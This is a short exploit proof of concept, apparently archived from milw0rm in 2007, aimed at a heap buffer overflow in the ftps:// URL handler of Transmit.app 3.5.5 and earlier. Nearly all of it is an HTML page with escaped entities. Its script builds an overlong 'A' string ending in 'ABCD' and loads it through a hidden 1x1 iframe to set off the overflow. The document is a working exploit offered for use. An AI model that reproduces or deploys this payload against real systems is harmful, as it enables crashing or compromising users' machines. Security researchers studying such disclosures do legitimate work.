Transmit.app <= 3.5.5 ftps:// URL Handler Heap Buffer Overflow PoC

&#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.1//EN&#34; &#34;http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd&#34;&#62; &#60;html&#62; &#60;head&#62; &#60;title&#62;MOAB-19-01-2007&#60;/title&#62; &#60;script&#62; function boom() { var recipient = document.getElementById(&#39;testbox&#39;); var str = &#39;&#39;; for (var i = 0; i &#60; 408; i++) { str = str + &#39;A&#39; } str = str + &#39;ABCD&#39;; alert(&#39;Payload size: &#39; + str.length); str = &#34;ftps://&#34; + str; ftarget = document.createElement(&#39;iframe&#39;); ftarget.src = str; ftarget.width = 1; ftarget.height = 1; recipient.appendChild(ftarget); } &#60;/script&#62; &#60;/head&#62; &#60;body&#62; &#60;div id=&#34;testbox&#34; style=&#34;display: none;&#34;&#62;&#60;/div&#62; &#60;input type=&#34;button&#34; onclick=&#34;boom();&#34; value=&#34;Test MOAB-19-01-2007&#34; /&#62; &#60;/body&#62; &#60;/html&#62; # milw0rm.com [2007-01-20]